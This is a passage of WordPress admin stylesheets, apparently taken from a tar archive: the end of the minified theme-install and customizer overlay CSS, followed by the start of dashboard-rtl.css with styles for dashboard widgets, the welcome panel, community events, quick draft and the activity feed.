.wp-full-overlay-sidebar{overflow:visible}.wp-full-overlay.collapsed,.wp-full-overlay.expanded .wp-full-overlay-sidebar{margin-left:0!important}.wp-full-overlay.expanded{margin-left:300px}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-left:-300px}@media screen and (min-width:1667px){.wp-full-overlay.expanded{margin-left:18%}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-left:-18%}}@media screen and (min-width:3333px){.wp-full-overlay.expanded{margin-left:600px}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-left:-600px}}.wp-full-overlay-sidebar:after{content:"";display:block;position:absolute;top:0;bottom:0;right:0;width:3px;z-index:1000}.wp-full-overlay-main{position:absolute;left:0;right:0;top:0;bottom:0;height:100%}.wp-full-overlay-sidebar .wp-full-overlay-header{position:absolute;left:0;right:0;height:45px;padding:0 15px;line-height:3.2;z-index:10;margin:0;border-top:none;box-shadow:none}.wp-full-overlay-sidebar .wp-full-overlay-header a.back{margin-top:3px}.wp-full-overlay-sidebar .wp-full-overlay-footer{bottom:0;border-bottom:none;border-top:none;box-shadow:none}.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content{position:absolute;top:45px;bottom:45px;left:0;right:0;overflow:auto}.theme-install-overlay .wp-full-overlay-sidebar .wp-full-overlay-header{padding:0}.theme-install-overlay .close-full-overlay,.theme-install-overlay .next-theme,.theme-install-overlay .previous-theme{display:block;position:relative;float:left;width:45px;height:45px;background:#f0f0f1;border-right:1px solid #dcdcde;color:#3c434a;cursor:pointer;text-decoration:none;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-install-overlay .close-full-overlay:focus,.theme-install-overlay .close-full-overlay:hover,.theme-install-overlay .next-theme:focus,.theme-install-overlay .next-theme:hover,.theme-install-overlay .previous-theme:focus,.theme-install-overlay .previous-theme:hover{background:#dcdcde;border-color:#c3c4c7;color:#000;outline:0;box-shadow:none}.theme-install-overlay .close-full-overlay:before{font:normal 22px/1 dashicons;content:"\f335";content:"\f335"/'';position:relative;top:7px;left:13px}.theme-install-overlay .previous-theme:before{font:normal 20px/1 dashicons;content:"\f341";content:"\f341"/'';position:relative;top:6px;left:14px}.theme-install-overlay .next-theme:before{font:normal 20px/1 dashicons;content:"\f345";content:"\f345"/'';position:relative;top:6px;left:13px}.theme-install-overlay .next-theme.disabled,.theme-install-overlay .next-theme.disabled:focus,.theme-install-overlay .next-theme.disabled:hover,.theme-install-overlay .previous-theme.disabled,.theme-install-overlay .previous-theme.disabled:focus,.theme-install-overlay .previous-theme.disabled:hover{color:#c3c4c7;background:#f0f0f1;cursor:default;pointer-events:none}.theme-install-overlay .close-full-overlay,.theme-install-overlay .next-theme,.theme-install-overlay .previous-theme{border-left:0;border-top:0;border-bottom:0}.theme-install-overlay .close-full-overlay:before,.theme-install-overlay .next-theme:before,.theme-install-overlay .previous-theme:before{top:2px;left:0}.wp-core-ui .wp-full-overlay .collapse-sidebar{position:fixed;bottom:0;left:0;padding:9px 0 9px 10px;height:45px;color:#646970;outline:0;line-height:1;background-color:transparent!important;border:none!important;box-shadow:none!important;border-radius:0!important}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#2271b1}.wp-full-overlay .collapse-sidebar-arrow,.wp-full-overlay .collapse-sidebar-label{display:inline-block;vertical-align:middle;line-height:1.6}.wp-full-overlay .collapse-sidebar-arrow{width:20px;height:20px;margin:0 2px;border-radius:50%;overflow:hidden}.wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.wp-full-overlay .collapse-sidebar-label{margin-left:3px}.wp-full-overlay.collapsed .collapse-sidebar-label{display:none}.wp-full-overlay .collapse-sidebar-arrow:before{display:block;content:"\f148";content:"\f148"/'';background:#f0f0f1;font:normal 20px/1 dashicons;padding:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-core-ui .wp-full-overlay.collapsed .collapse-sidebar{padding:9px 10px}.rtl .wp-full-overlay .collapse-sidebar-arrow:before,.wp-full-overlay.collapsed .collapse-sidebar-arrow:before{transform:rotate(180.001deg)}.rtl .wp-full-overlay.collapsed .collapse-sidebar-arrow:before{transform:none}@media (prefers-reduced-motion:no-preference){.wp-full-overlay,.wp-full-overlay .collapse-sidebar,.wp-full-overlay-main,.wp-full-overlay-sidebar{transition-property:left,right,top,bottom,width,margin;transition-duration:.2s}}.wp-full-overlay{background:#1d2327}.wp-full-overlay-main{background-color:#f0f0f1}.expanded .wp-full-overlay-footer{position:fixed;bottom:0;left:0;min-width:299px;max-width:599px;width:18%;width:calc(18% - 1px);height:45px;border-top:1px solid #dcdcde;background:#f0f0f1}.wp-full-overlay-footer .devices-wrapper{float:right}.wp-full-overlay-footer .devices{position:relative;background:#f0f0f1;box-shadow:-20px 0 10px -5px #f0f0f1}.wp-full-overlay-footer .devices button{cursor:pointer;background:0 0;border:none;height:45px;padding:0 3px;margin:0 0 0 -4px;box-shadow:none;border-top:1px solid transparent;border-bottom:4px solid transparent;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}.wp-full-overlay-footer .devices button:focus{box-shadow:none;outline:0}.wp-full-overlay-footer .devices button:before{display:inline-block;-webkit-font-smoothing:antialiased;font:normal 20px/30px dashicons;vertical-align:top;margin:3px 0;padding:4px 8px;color:#646970}.wp-full-overlay-footer .devices button.active{border-bottom-color:#1d2327}.wp-full-overlay-footer .devices button:focus,.wp-full-overlay-footer .devices button:hover{background-color:#fff}.wp-full-overlay-footer .devices button.active:hover,.wp-full-overlay-footer .devices button:focus{border-bottom-color:#2271b1}.wp-full-overlay-footer .devices button.active:before{color:#1d2327}.wp-full-overlay-footer .devices button:focus:before,.wp-full-overlay-footer .devices button:hover:before{color:#2271b1}.wp-full-overlay-footer .devices .preview-desktop:before{content:"\f472";content:"\f472"/''}.wp-full-overlay-footer .devices .preview-tablet:before{content:"\f471";content:"\f471"/''}.wp-full-overlay-footer .devices .preview-mobile:before{content:"\f470";content:"\f470"/''}@media screen and (max-width:1024px){.wp-full-overlay-footer .devices{display:none}}.collapsed .wp-full-overlay-footer .devices button:before{display:none}.preview-mobile .wp-full-overlay-main{margin:auto 0 auto -160px;width:320px;height:480px;max-height:100%;max-width:100%;left:50%}.preview-tablet .wp-full-overlay-main{margin:auto 0 auto -360px;width:720px;height:1080px;max-height:100%;max-width:100%;left:50%}.customize-support .hide-if-customize,.customize-support .wp-core-ui .hide-if-customize,.customize-support.wp-core-ui .hide-if-customize,.no-customize-support .hide-if-no-customize,.no-customize-support .wp-core-ui .hide-if-no-customize,.no-customize-support.wp-core-ui .hide-if-no-customize{display:none}#customize-container,#customize-controls .notice.notification-overlay{background:#f0f0f1;z-index:500000;position:fixed;overflow:visible;top:0;bottom:0;left:0;right:0;height:100%}#customize-container{display:none}#customize-container,.theme-install-overlay{visibility:visible}.customize-loading #customize-container iframe{opacity:0}#customize-container iframe,.theme-install-overlay iframe{height:100%;width:100%;z-index:20;transition:opacity .3s}#customize-controls{margin-top:0}.theme-install-overlay{display:none}.theme-install-overlay.single-theme{display:block}.install-theme-info{display:none;padding:10px 20px 60px}.single-theme .install-theme-info{padding-top:15px}.theme-install-overlay .install-theme-info{display:block}.install-theme-info .theme-install{float:right;margin-top:18px}.install-theme-info .theme-name{font-size:16px;line-height:1.5;margin-bottom:0;margin-top:0}.install-theme-info .theme-screenshot{margin:15px 0;width:258px;border:1px solid #c3c4c7;position:relative;overflow:hidden}.install-theme-info .theme-screenshot>img{width:100%;height:auto;position:absolute;left:0;top:0}.install-theme-info .theme-screenshot:after{content:"";display:block;padding-top:66.66666666%}.install-theme-info .theme-details{overflow:hidden}.theme-details .theme-version{margin:15px 0}.theme-details .theme-description{float:left;color:#646970;line-height:1.6;max-width:100%}.theme-install-overlay .wp-full-overlay-header .button{float:right;margin:7px 10px 0 0;min-height:32px;line-height:2.30769231}.theme-install-overlay .wp-full-overlay-sidebar{background:#f0f0f1;border-right:1px solid #dcdcde}.theme-install-overlay .wp-full-overlay-sidebar-content{background:#fff;border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde}.theme-install-overlay .wp-full-overlay-main{position:absolute;z-index:0;background-color:#f0f0f1}.customize-loading #customize-container{background-color:#f0f0f1}#customize-controls .notice.notification-overlay.notification-loading:before,#customize-preview.wp-full-overlay-main:before,.customize-loading #customize-container:before,.theme-install-overlay .wp-full-overlay-main:before{content:"";display:block;width:20px;height:20px;position:absolute;left:50%;top:50%;z-index:-1;margin:-10px 0 0 -10px;transform:translateZ(0);background:transparent url(../images/spinner.gif) no-repeat center center;background-size:20px 20px}#customize-preview.wp-full-overlay-main.iframe-ready:before,.theme-install-overlay.iframe-ready .wp-full-overlay-main:before{background-image:none}@media print,(min-resolution:120dpi){.wp-full-overlay .collapse-sidebar-arrow{background-image:url(../images/arrows-2x.png);background-size:15px 123px}#customize-controls .notice.notification-overlay.notification-loading:before,#customize-preview.wp-full-overlay-main:before,.customize-loading #customize-container:before,.theme-install-overlay .wp-full-overlay-main:before{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){.available-theme .action-links .delete-theme{float:none;margin:0;padding:0;clear:both}.available-theme .action-links .delete-theme a{padding:0}.broken-themes table{width:100%}.theme-install-overlay .wp-full-overlay-header .button{font-size:13px}.theme-browser .theme .theme-actions .button{margin-bottom:0}.theme-browser .theme .theme-actions,.theme-browser .theme.active .theme-actions{padding-top:4px;padding-bottom:4px}.upload-plugin .wp-upload-form,.upload-theme .wp-upload-form{width:100%;box-sizing:border-box}.upload-plugin .wp-upload-form input[type=file],.upload-theme .wp-upload-form input[type=file]{padding:30px 0 30px 30px;width:100%}} css/dashboard-rtl.css 0000644 00000073347 15233246127 0010617 0 ustar 00 /*! This file is auto-generated */ #wpbody-content #dashboard-widgets.columns-1 .postbox-container { width: 100%; } #wpbody-content #dashboard-widgets.columns-2 .postbox-container { width: 49.5%; } #wpbody-content #dashboard-widgets.columns-2 #postbox-container-2, #wpbody-content #dashboard-widgets.columns-2 #postbox-container-3, #wpbody-content #dashboard-widgets.columns-2 #postbox-container-4 { float: left; width: 50.5%; } #wpbody-content #dashboard-widgets.columns-3 .postbox-container { width: 33.5%; } #wpbody-content #dashboard-widgets.columns-3 #postbox-container-1 { width: 33%; } #wpbody-content #dashboard-widgets.columns-3 #postbox-container-3, #wpbody-content #dashboard-widgets.columns-3 #postbox-container-4 { float: left; } #wpbody-content #dashboard-widgets.columns-4 .postbox-container { width: 25%; } #dashboard-widgets .postbox-container { width: 25%; } #dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container { border: none !important; } #dashboard-widgets-wrap { overflow: hidden; margin: 0 -8px; } #dashboard-widgets .postbox { border-radius: 8px; } #dashboard-widgets .postbox-header .hndle { padding: 12px 16px; } #dashboard-widgets .postbox .inside { margin-bottom: 0; } #dashboard-widgets .meta-box-sortables { display: flow-root; /* avoid margin collapsing between parent and first/last child elements */ /* Required min-height to make the jQuery UI Sortable drop zone work. */ min-height: 0; margin: 0 8px 20px; } #dashboard-widgets .meta-box-sortables:not(:empty) { margin-bottom: 16px; } #dashboard-widgets .postbox-container .empty-container { outline: 2px dashed rgb(0, 0, 0, 0.15); outline-offset: -2px; border-radius: 8px; height: 250px; margin: 4px; } /* Only highlight drop zones when dragging. */ .is-dragging-metaboxes #dashboard-widgets .meta-box-sortables { border-radius: 8px; background: rgb(var(--wp-admin-theme-color--rgb), 0.04); min-height: 100px; } .is-dragging-metaboxes #dashboard-widgets .postbox-container .empty-container { background: rgb(0, 0, 0, 0.01); } #dashboard-widgets .postbox-container .empty-container:after { content: attr(data-emptystring); margin: auto; position: absolute; top: 50%; right: 0; left: 0; transform: translateY( -50% ); padding: 0 2em; text-align: center; color: #646970; font-size: 16px; line-height: 1.5; display: none; } /* @todo: this was originally in this section, but likely belongs elsewhere */ #the-comment-list td.comment p.comment-author { margin-top: 0; margin-right: 0; } #the-comment-list p.comment-author img { float: right; margin-left: 8px; } #the-comment-list p.comment-author strong a { border: none; } #the-comment-list td { vertical-align: top; } #the-comment-list td.comment { word-wrap: break-word; } #the-comment-list td.comment img { max-width: 100%; } /* Screen meta exception for when the "Dashboard" heading is missing or located below the Welcome Panel. */ .index-php #screen-meta-links { margin: 0 0 8px 20px; } /* Welcome Panel */ .welcome-panel { position: relative; overflow: auto; margin: 16px 0; border-radius: 8px; font-size: 14px; line-height: 1.3; clear: both; } .welcome-panel h2 { margin: 0; font-size: 48px; font-weight: 600; line-height: 1.25; } .welcome-panel h3 { margin: 0; font-size: 20px; font-weight: 400; line-height: 1.4; } .welcome-panel p { font-size: inherit; line-height: inherit; } .welcome-panel-header { position: relative; color: #fff; } .welcome-panel-header-image { position: absolute !important; top: 0; left: 0; bottom: 0; right: 0; z-index: 0 !important; overflow: hidden; } .welcome-panel-header-image svg { display: block; margin: auto; width: 100%; height: 100%; } .rtl .welcome-panel-header-image svg { transform: scaleX(-1); } .welcome-panel-header * { color: inherit; position: relative; z-index: 1; } .welcome-panel-header a:focus, .welcome-panel-header a:hover { color: inherit; text-decoration: none; } .welcome-panel-header a:focus, .welcome-panel .welcome-panel-close:focus { outline-color: currentColor; outline-offset: 1px; box-shadow: none; } .welcome-panel-header p { margin: 0.5em 0 0; font-size: 20px; line-height: 1.4; } .welcome-panel .welcome-panel-close { display: flex; align-items: center; position: absolute; top: 10px; left: 10px; padding: 10px 15px; font-size: 13px; line-height: 1.23076923; /* Chrome rounding, needs to be 16px equivalent */ text-decoration: none; z-index: 1; /* Raise above the version image. */ } .welcome-panel .welcome-panel-close:before { transition: all .1s ease-in-out; content: '\f335'; font-size: 24px; color: #fff; } .welcome-panel .welcome-panel-close { color: #fff; } .welcome-panel .welcome-panel-close:hover, .welcome-panel .welcome-panel-close:focus, .welcome-panel .welcome-panel-close:hover::before, .welcome-panel .welcome-panel-close:focus::before { color: #fff972; } /* @deprecated 5.9.0 -- Button removed from panel. */ .wp-core-ui .welcome-panel .button.button-hero { margin: 15px 0 3px 13px; padding: 12px 36px; height: auto; line-height: 1.4285714; white-space: normal; } .welcome-panel-content { min-height: 400px; display: flex; flex-direction: column; justify-content: space-between; } .welcome-panel-header-wrap { background-color: #151515; } .welcome-panel-header { box-sizing: border-box; margin-right: auto; margin-left: auto; max-width: 1500px; width: 100%; padding: 48px 48px 80px 0; } .welcome-panel .welcome-panel-column-container { box-sizing: border-box; width: 100%; clear: both; display: grid; z-index: 1; padding: 24px; grid-template-columns: repeat(3, 1fr); gap: 32px; align-self: flex-end; background: #ffffff; border: 1px solid #c3c4c7; border-top: 0; border-radius: 0 0 8px 8px; } [class*="welcome-panel-icon"] { height: 60px; width: 60px; background-position: center; background-size: 24px 24px; background-repeat: no-repeat; border-radius: 100%; } .welcome-panel-column > svg { margin-top: 4px; } .welcome-panel-column { display: grid; grid-template-columns: min-content 1fr; gap: 24px; } .welcome-panel-icon-pages { background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M7 13.8h6v-1.5H7v1.5zM18 16V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zM5.5 16V4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5zM7 10.5h8V9H7v1.5zm0-3.3h8V5.8H7v1.4zM20.2 6v13c0 .7-.6 1.2-1.2 1.2H8v1.5h11c1.5 0 2.7-1.2 2.7-2.8V6h-1.5z' /%3E%3C/svg%3E"); } .welcome-panel-icon-layout { background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z' /%3E%3C/svg%3E"); } .welcome-panel-icon-styles { background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='%23fff' d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' /%3E%3C/svg%3E"); } /* @deprecated 5.9.0 -- Section removed from welcome panel. */ .welcome-panel .welcome-widgets-menus { line-height: 1.14285714; } /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel .welcome-panel-column ul { margin: 0.8em 0 1em 1em; } /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel li { font-size: 14px; } /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel li a { text-decoration: none; } /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel .welcome-panel-column li { line-height: 1.14285714; list-style-type: none; padding: 0 0 8px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-icon { background: transparent !important; } /* Welcome Panel and Right Now common Icons style */ /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-icon:before, #dashboard_right_now li a:before, #dashboard_right_now li span:before, #dashboard_right_now .search-engines-info:before { color: #646970; font: normal 20px/1 dashicons; display: inline-block; padding: 0 0 0 10px; position: relative; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; vertical-align: top; } /* Welcome Panel specific Icons styles */ /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-write-blog:before, .welcome-panel .welcome-edit-page:before { content: "\f119"; content: "\f119" / ''; top: -3px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-add-page:before { content: "\f132"; content: "\f132" / ''; top: -1px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-setup-home:before { content: "\f102"; content: "\f102" / ''; top: -1px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-view-site:before { content: "\f115"; content: "\f115" / ''; top: -2px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-widgets-menus:before { content: "\f116"; content: "\f116" / ''; top: -2px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-widgets:before { content: "\f538"; content: "\f538" / ''; top: -2px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-menus:before { content: "\f163"; content: "\f163" / ''; top: -2px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-comments:before { content: "\f117"; content: "\f117" / ''; top: -1px; } /* @deprecated 5.9.0 -- Icons removed from welcome panel. */ .welcome-panel .welcome-learn-more:before { content: "\f118"; content: "\f118" / ''; top: -1px; } /* Right Now specific Icons styles */ #dashboard_right_now .search-engines-info:before, #dashboard_right_now li a:before, #dashboard_right_now li > span:before { /* get only the first level span to exclude screen-reader-text in mu-storage */ padding: 0 0 0 5px; /* generic icon for items added by CPTs ? */ content: "\f159"; content: "\f159" / ''; } #dashboard_right_now .page-count a:before, #dashboard_right_now .page-count span:before { content: "\f105"; content: "\f105" / ''; } #dashboard_right_now .post-count a:before, #dashboard_right_now .post-count span:before { content: "\f109"; content: "\f109" / ''; } #dashboard_right_now .comment-count a:before { content: "\f101"; content: "\f101" / ''; } #dashboard_right_now .comment-mod-count a:before { content: "\f125"; content: "\f125" / ''; } #dashboard_right_now .storage-count a:before { content: "\f104"; content: "\f104" / ''; } #dashboard_right_now .storage-count.warning a:before { content: "\f153"; content: "\f153" / ''; } #dashboard_right_now .search-engines-info:before { content: "\f348"; content: "\f348" / ''; color: #d63638; } /* Dashboard WordPress events */ .community-events-errors { margin: 0; } .community-events-loading { padding: 10px 12px 8px; } .community-events { margin-bottom: 6px; padding: 0 12px; } .community-events .spinner { margin: 0 2px 0; } .community-events-errors[aria-hidden="true"], .community-events-errors [aria-hidden="true"], .community-events-loading[aria-hidden="true"], .community-events[aria-hidden="true"], .community-events form[aria-hidden="true"] { display: none; } .community-events .activity-block:first-child, .community-events h2 { padding-top: 12px; padding-bottom: 10px; } .community-events-form { margin: 15px 0 5px; display: flex; gap: 5px; align-items: center; flex-wrap: wrap; } .community-events-form .regular-text { width: 40%; margin: 0; min-height: 32px; padding: 0 8px; } #dashboard-widgets .community-events-form .button { min-height: 32px; line-height: 2.30769231; padding: 0 12px; } .community-events li.event-none { border-right: 4px solid var(--wp-admin-theme-color, #3858e9); } #dashboard-widgets .community-events li.event-none a { text-decoration: underline; } .community-events-form label { line-height: 2.14285714; } .community-events .activity-block > p { margin-bottom: 0; display: inline; } .community-events-toggle-location { vertical-align: middle; } /* Needs higher specificity than #dashboard-widgets .button-link */ #dashboard-widgets .community-events-cancel.button-link { text-decoration: underline; } .community-events ul { background-color: rgba(var(--wp-admin-theme-color--rgb),.08); padding-right: 0; padding-left: 0; padding-bottom: 0; } .community-events li { margin: 0; padding: 8px 12px; color: #2c3338; } .community-events li:first-child { border-top: 1px solid #e9e9ed; } .community-events li ~ li { border-top: 1px solid #e9e9ed; } .community-events .activity-block.last { border-bottom: 1px solid #e9e9ed; padding-top: 0; margin-top: -1px; } .community-events .event-info { display: block; } .community-events .ce-separator::before { content: "\2022"; content: "\2022" / ''; } .event-icon { height: 18px; padding-left: 10px; width: 18px; display: none; /* Hide on smaller screens */ } .event-icon:before { color: #646970; font-size: 18px; } .event-meetup .event-icon:before { content: "\f484"; content: "\f484" / ''; } .event-wordcamp .event-icon:before { content: "\f486"; content: "\f486" / ''; } .community-events .event-title { font-weight: 600; display: block; } .community-events .event-date, .community-events .event-time { display: block; } .community-events-footer { margin-top: 0; margin-bottom: 0; padding: 12px; border-top: 1px solid #f0f0f1; color: #646970; } /* Safari 10 + VoiceOver specific: without this, the hidden text gets read out before the link. */ .community-events-footer .screen-reader-text { height: inherit; white-space: nowrap; } /* Dashboard WordPress news */ #dashboard_primary .inside { margin: 0; padding: 0; } #dashboard_primary .widget-loading { padding: 12px 12px 0; margin-bottom: 1em !important; /* Needs to override `.postbox .inside > p:last-child` in common.css */ } /* Notice when JS is off. */ #dashboard_primary .inside .notice { margin: 0; } body #dashboard-widgets .postbox form .submit { margin: 0; } /* Used only for configurable widgets. */ .dashboard-widget-control-form p { margin-top: 0; } .rssSummary { color: #646970; margin-top: 4px; } #dashboard_primary .rss-widget { font-size: 13px; padding: 0 12px; } #dashboard_primary .rss-widget:last-child { border-bottom: none; padding-bottom: 8px; } #dashboard_primary .rss-widget a { font-weight: 400; } #dashboard_primary .rss-widget span, #dashboard_primary .rss-widget span.rss-date { color: #646970; } #dashboard_primary .rss-widget span.rss-date { margin-right: 12px; } #dashboard_primary .rss-widget ul li { padding: 4px 0; margin: 0; } /* Dashboard right now */ #dashboard_right_now ul { margin: 0; /* contain floats but don't use overflow: hidden */ display: inline-block; width: 100%; } #dashboard_right_now li { width: 50%; float: right; margin-bottom: 10px; } #dashboard_right_now .main p { margin: 0; } #dashboard_right_now #wp-version-message .button { float: left; position: relative; top: -5px; margin-right: 5px; } #dashboard_right_now p.search-engines-info { margin: 1em 0; } .mu-storage { overflow: hidden; } #dashboard-widgets h3.mu-storage { margin: 0 0 10px; padding: 0; font-size: 14px; font-weight: 400; } #network_dashboard_right_now p input { margin: 2px 1px; vertical-align: middle; } /* Dashboard right now - Colors */ #dashboard_right_now .sub { color: #50575e; background: #f6f7f7; border-top: 1px solid #f0f0f1; padding: 10px 12px 6px; } #dashboard_right_now .sub h3 { color: #50575e; } #dashboard_right_now .sub p { margin: 0 0 1em; } #dashboard_right_now .warning a:before, #dashboard_right_now .warning span:before { color: #d63638; } /* Dashboard Quick Draft */ #dashboard_quick_press .inside { margin: 0; padding: 0; } #dashboard_quick_press div.updated { margin-bottom: 10px; border: 1px solid #f0f0f1; border-width: 1px 0 1px 1px; } #dashboard_quick_press form { margin: 12px; } #dashboard_quick_press .drafts { padding: 10px 0 0; } /* Dashboard Quick Draft - Form styling */ #dashboard_quick_press label { display: inline-block; margin-bottom: 4px; } #dashboard_quick_press input, #dashboard_quick_press textarea { box-sizing: border-box; margin: 0; } #dashboard-widgets .postbox form .submit { margin: -39px 0; float: left; } #description-wrap { margin-top: 12px; } #quick-press textarea#content { min-height: 90px; max-height: 1300px; margin: 0 0 8px; padding: 8px 12px; resize: none; } /* Dashboard Quick Draft - Drafts list */ .js #dashboard_quick_press .drafts { border-top: 1px solid #f0f0f1; } #dashboard_quick_press .drafts abbr { border: none; } #dashboard_quick_press .drafts .view-all { float: left; margin: 0 0 0 12px; } #dashboard_primary a.rsswidget { font-weight: 400; } #dashboard_quick_press .drafts ul { margin: 0 12px; } #dashboard_quick_press .drafts li { margin-bottom: 1em; } #dashboard_quick_press .drafts li time { color: #646970; } #dashboard_quick_press .drafts p { margin: 0; word-wrap: break-word; } #dashboard_quick_press .draft-title { word-wrap: break-word; } #dashboard_quick_press .draft-title a, #dashboard_quick_press .draft-title time { margin: 0 0 0 5px; } /* Dashboard common styles */ #dashboard-widgets h4, /* Back-compat for pre-4.4 */ #dashboard-widgets h3, #dashboard_quick_press .drafts h2 { margin: 0 12px 8px; padding: 0; font-size: 14px; font-weight: 400; color: #1d2327; } #dashboard_quick_press .drafts h2 { line-height: inherit; } #dashboard-widgets .inside h4, /* Back-compat for pre-4.4 */ #dashboard-widgets .inside h3 { margin-right: 0; margin-left: 0; } /* Dashboard activity widget */ #dashboard_activity .comment-meta span.approve:before { content: "\f227"; content: "\f227" / ''; font: 20px/.5 dashicons; margin-right: 5px; vertical-align: middle; position: relative; top: -1px; margin-left: 2px; } #dashboard_activity .inside { margin: 0; padding: 0 12px; } #dashboard_activity .no-activity { overflow: hidden; padding: 12px 0; text-align: center; } #dashboard_activity .no-activity p { color: #646970; font-size: 16px; } #dashboard_activity .subsubsub { float: none; border-top: 1px solid #f0f0f1; margin: 0 -12px; padding: 8px 12px 4px; } #dashboard_activity .subsubsub a .count, #dashboard_activity .subsubsub a.current .count { color: #646970; /* white background on the dashboard but #f0f0f1 on list tables */ } #future-posts ul, #published-posts ul { margin: 8px -12px 0 -12px; } #future-posts li, #published-posts li { display: grid; grid-template-columns: clamp(160px, calc(2vw + 140px), 200px) auto; column-gap: 10px; color: #646970; padding: 4px 12px; } #future-posts li:nth-child(odd), #published-posts li:nth-child(odd) { background-color: #f6f7f7; } .activity-block { border-bottom: 1px solid #f0f0f1; margin: 0 -12px 6px -12px; padding: 8px 12px 4px; } .activity-block:last-child { border-bottom: none; margin-bottom: 0; } .activity-block .subsubsub li { color: #646970; } /* Dashboard activity widget - Comments */ /* @todo: needs serious de-duplication */ #activity-widget #the-comment-list tr.undo, #activity-widget #the-comment-list div.undo { background: none; padding: 6px 0; margin-right: 12px; } #activity-widget #the-comment-list .comment-item { background: #f6f7f7; padding: 12px; position: relative; } #activity-widget #the-comment-list .avatar { position: absolute; top: 12px; } #activity-widget #the-comment-list .dashboard-comment-wrap.has-avatar { padding-right: 63px; } #activity-widget #the-comment-list .dashboard-comment-wrap blockquote { margin: 1em 0; } #activity-widget #the-comment-list .comment-item p.row-actions { margin: 4px 0 0; } #activity-widget #the-comment-list .comment-item:first-child { border-top: 1px solid #f0f0f1; } #activity-widget #the-comment-list .unapproved { background-color: #fcf9e8; } #activity-widget #the-comment-list .unapproved:before { content: ""; display: block; position: absolute; right: 0; top: 0; bottom: 0; background: #d63638; width: 4px; } #activity-widget #the-comment-list .spam-undo-inside .avatar, #activity-widget #the-comment-list .trash-undo-inside .avatar { position: relative; top: 0; } /* Browse happy box */ #dashboard-widgets #dashboard_browser_nag.postbox .inside { margin: 10px; } .postbox .button-link .edit-box { display: none; } .edit-box { opacity: 0; } .hndle:hover .edit-box, .edit-box:focus { opacity: 1; } #dashboard-widgets form .input-text-wrap input { width: 100%; } #dashboard-widgets form .textarea-wrap textarea { width: 100%; } #dashboard-widgets .postbox form .submit { float: none; margin: .5em 0 0; padding: 0; border: none; } #dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish { min-width: 0; } #dashboard-widgets li a, #dashboard-widgets .button-link, .community-events-footer a { text-decoration: none; } #dashboard-widgets h2 a { text-decoration: underline; } #dashboard-widgets .hndle .postbox-title-action { float: left; line-height: 1.2; } #dashboard_plugins h5 { font-size: 14px; } /* Recent Comments */ #latest-comments #the-comment-list { position: relative; margin: 0 -12px; } #activity-widget #the-comment-list .comment, #activity-widget #the-comment-list .pingback { box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.06); } #activity-widget .comments #the-comment-list .alt { background-color: transparent; } #activity-widget #latest-comments #the-comment-list .comment-item { /* the row-actions paragraph is output only for users with 'edit_comment' capabilities, for other users this needs a min height equal to the gravatar image */ min-height: 50px; margin: 0; padding: 12px; } #latest-comments #the-comment-list .pingback { padding-right: 12px !important; } #latest-comments #the-comment-list .comment-item:first-child { border-top: none; } #latest-comments #the-comment-list .comment-meta { line-height: 1.5; margin: 0; color: #646970; } #latest-comments #the-comment-list .comment-meta cite { font-style: normal; font-weight: 400; } #latest-comments #the-comment-list .comment-item blockquote, #latest-comments #the-comment-list .comment-item blockquote p { margin: 0; padding: 0; 